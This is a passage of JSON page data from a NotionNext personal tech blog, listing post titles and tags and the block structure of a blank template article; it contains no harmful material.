+              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"post":{"id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-10","tags":["Python","健康"],"summary":"仅供列表展示、文章无内容、文章描述摘要过长时会被截断,仅显示前面几行内容,根据主题决定。这是一个示范","title":"空白文章10 标题注意不应该过长,否则影响显示效果,这是一个示范","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:20:03.738Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1524601500432-1e1a4c71d692?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=95ddf5c1-569e-4c61-a1e8-6507fe59fc97","pageCoverThumbnail":"https://images.unsplash.com/photo-1524601500432-1e1a4c71d692?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=95ddf5c1-569e-4c61-a1e8-6507fe59fc97\u0026width=800\u0026fmt=webp","tagItems":[{"name":"Python","color":"gray"},{"name":"健康","color":"pink"}],"password":"","blockMap":{"block":{"95ddf5c1-569e-4c61-a1e8-6507fe59fc97":{"value":{"id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","version":7,"type":"page","content":["c4ae2757-06af-414a-a57e-b220235fe4f8","51246bd8-8b54-4aed-8890-6ff7f9754758","e47b90fd-4cef-4aa7-8253-733c2fb825c6","51e5efa1-5316-4f26-a034-a63d627d119a","1a99baa7-cd61-4f67-a8db-a8b44045a3a3","68a4a544-5986-4d0e-838e-5d896c28d491","6f00b74f-9168-4ba4-9b78-02b073817e2e","575c2b55-b7ab-415d-ab01-7127fa80b461","3059d59e-6321-4cf7-b83b-980793108c72","e22d3df7-942e-4ba6-bcb5-d98043c85699","af3c2cc6-ba7d-4419-a4c8-ca13bfa4f703","7618802b-85cf-439d-9bf7-b309f06ab819","516b8278-e818-46dc-ada0-b6c50c617bb1","45d1a941-6e76-44ee-b686-c9048159b959"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://images.unsplash.com/photo-1524601500432-1e1a4c71d692?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb","block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","copied_from_pointer":{"id":"0a19abd9-8685-4e4d-97e1-f0adaba36edf","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.5},"created_time":1705594337109,"last_edited_time":1705630803738,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"0a19abd9-8685-4e4d-97e1-f0adaba36edf","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1711431614088,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"c4ae2757-06af-414a-a57e-b220235fe4f8":{"value":{"id":"c4ae2757-06af-414a-a57e-b220235fe4f8","type":"callout","properties":{"title":[["这里写文章的前言:\n一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。"]]},"content":["0e0a78c5-5bce-4d66-9749-760aba8bf0e2"],"format":{"page_icon":"😀","block_color":"gray_background","copied_from_pointer":{"id":"cb5d573a-b79c-4194-8352-893d809df35a","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337116,"last_edited_time":1705594337116,"parent_id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","parent_table":"block","alive":true,"copied_from":"cb5d573a-b79c-4194-8352-893d809df35a"}},"0e0a78c5-5bce-4d66-9749-760aba8bf0e2":{"value":{"id":"0e0a78c5-5bce-4d66-9749-760aba8bf0e2","type":"text","properties":{"title":[["可以说说你的故事:阻碍、努力、结果成果,意外与转折。"]]},"format":{"copied_from_pointer":{"id":"73912305-952d-462b-b687-4d72dceb8b78","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337157,"last_edited_time":1705594337157,"parent_id":"c4ae2757-06af-414a-a57e-b220235fe4f8","parent_table":"block","alive":true,"copied_from":"73912305-952d-462b-b687-4d72dceb8b78"}},"51246bd8-8b54-4aed-8890-6ff7f9754758":{"value":{"id":"51246bd8-8b54-4aed-8890-6ff7f9754758","type":"text","format":{"copied_from_pointer":{"id":"adad90e4-2d39-4142-b1e8-bb8f78c2fd85","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337116,"last_edited_time":1705594337116,"parent_id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","parent_table":"block","alive":true,"copied_from":"adad90e4-2d39-4142-b1e8-bb8f78c2fd85"}},"e47b90fd-4cef-4aa7-8253-733c2fb825c6":{"value":{"id":"e47b90fd-4cef-4aa7-8253-733c2fb825c6","type":"header","properties":{"title":[["📝 主旨内容"]]},"format":{"copied_from_pointer":{"id":"f75da7bd-9726-4cba-89b7-20dc21133a56","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337116,"last_edited_time":1705594337116,"parent_id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","parent_table":"block","alive":true,"copied_from":"f75da7bd-9726-4cba-89b7-20dc21133a56"}},"51e5efa1-5316-4f26-a034-a63d627d119a":{"value":{"id":"51e5efa1-5316-4f26-a034-a63d627d119a","type":"sub_header","properties":{"title":[["观点1"]]},"format":{"copied_from_pointer":{"id":"394c875f-8f54-4ec1-a0b2-a3700bfe46ce","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337115,"last_edited_time":1705594337115,"parent_id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","parent_table":"block","alive":true,"copied_from":"394c875f-8f54-4ec1-a0b2-a3700bfe46ce"}},"1a99baa7-cd61-4f67-a8db-a8b44045a3a3":{"value":{"id":"1a99baa7-cd61-4f67-a8db-a8b44045a3a3","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"29527844-3175-4d0b-a8be-cb7e207c32b2","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337115,"last_edited_time":1705594337115,"parent_id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","parent_table":"block","alive":true,"copied_from":"29527844-3175-4d0b-a8be-cb7e207c32b2"}},"68a4a544-5986-4d0e-838e-5d896c28d491":{"value":{"id":"68a4a544-5986-4d0e-838e-5d896c28d491","type":"sub_header","properties":{"title":[["观点2"]]},"format":{"copied_from_pointer":{"id":"89e3fb68-e2b8-4ad8-b3c4-ead1544e4050","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337116,"last_edited_time":1705594337116,"parent_id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","parent_table":"block","alive":true,"copied_from":"89e3fb68-e2b8-4ad8-b3c4-ead1544e4050"}},"6f00b74f-9168-4ba4-9b78-02b073817e2e":{"value":{"id":"6f00b74f-9168-4ba4-9b78-02b073817e2e","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"e3bd5acb-d417-4bfa-ab56-d4acef957911","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337116,"last_edited_time":1705594337116,"parent_id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","parent_table":"block","alive":true,"copied_from":"e3bd5acb-d417-4bfa-ab56-d4acef957911"}},"575c2b55-b7ab-415d-ab01-7127fa80b461":{"value":{"id":"575c2b55-b7ab-415d-ab01-7127fa80b461","type":"header","properties":{"title":[["🤗 总结归纳"]]},"format":{"copied_from_pointer":{"id":"67079502-876a-46c5-8416-8bb84bd5db33","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337115,"last_edited_time":1705594337115,"parent_id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","parent_table":"block","alive":true,"copied_from":"67079502-876a-46c5-8416-8bb84bd5db33"}},"3059d59e-6321-4cf7-b83b-980793108c72":{"value":{"id":"3059d59e-6321-4cf7-b83b-980793108c72","type":"text","properties":{"title":[["总结文章的内容"]]},"format":{"copied_from_pointer":{"id":"794dc0d2-2a7e-44f9-a667-be8159328dca","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337116,"last_edited_time":1705594337116,"parent_id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","parent_table":"block","alive":true,"copied_from":"794dc0d2-2a7e-44f9-a667-be8159328dca"}},"e22d3df7-942e-4ba6-bcb5-d98043c85699":{"value":{"id":"e22d3df7-942e-4ba6-bcb5-d98043c85699","type":"header","properties":{"title":[["📎 参考文章"]]},"format":{"copied_from_pointer":{"id":"ae4cd417-6b57-491a-9693-993fd00ae720","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337116,"last_edited_time":1705594337116,"parent_id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","parent_table":"block","alive":true,"copied_from":"ae4cd417-6b57-491a-9693-993fd00ae720"}},"af3c2cc6-ba7d-4419-a4c8-ca13bfa4f703":{"value":{"id":"af3c2cc6-ba7d-4419-a4c8-ca13bfa4f703","type":"bulleted_list","properties":{"title":[["一些引用"]]},"format":{"copied_from_pointer":{"id":"f2f5193f-777c-48ae-9f6c-c6d460c8f26e","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337116,"last_edited_time":1705594337116,"parent_id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","parent_table":"block","alive":true,"copied_from":"f2f5193f-777c-48ae-9f6c-c6d460c8f26e"}},"7618802b-85cf-439d-9bf7-b309f06ab819":{"value":{"id":"7618802b-85cf-439d-9bf7-b309f06ab819","type":"bulleted_list","properties":{"title":[["引用文章"]]},"format":{"copied_from_pointer":{"id":"efaf1221-c25c-4007-81ea-a2b98b75e04a","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337116,"last_edited_time":1705594337116,"parent_id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","parent_table":"block","alive":true,"copied_from":"efaf1221-c25c-4007-81ea-a2b98b75e04a"}},"516b8278-e818-46dc-ada0-b6c50c617bb1":{"value":{"id":"516b8278-e818-46dc-ada0-b6c50c617bb1","type":"text","format":{"copied_from_pointer":{"id":"4a8fe871-c808-4f6e-ad6d-add544f66e20","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337115,"last_edited_time":1705594337115,"parent_id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","parent_table":"block","alive":true,"copied_from":"4a8fe871-c808-4f6e-ad6d-add544f66e20"}},"45d1a941-6e76-44ee-b686-c9048159b959":{"value":{"id":"45d1a941-6e76-44ee-b686-c9048159b959","type":"callout","properties":{"title":[["有关Notion安装或者使用上的问题,欢迎您在底部评论区留言,一起交流~"]]},"format":{"page_icon":"💡","block_color":"gray_background","copied_from_pointer":{"id":"172bb677-43b3-4aaf-afbb-edc265e405c1","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337115,"last_edited_time":1705594337115,"parent_id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","parent_table":"block","alive":true,"copied_from":"172bb677-43b3-4aaf-afbb-edc265e405c1"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":13,"name":[["Both 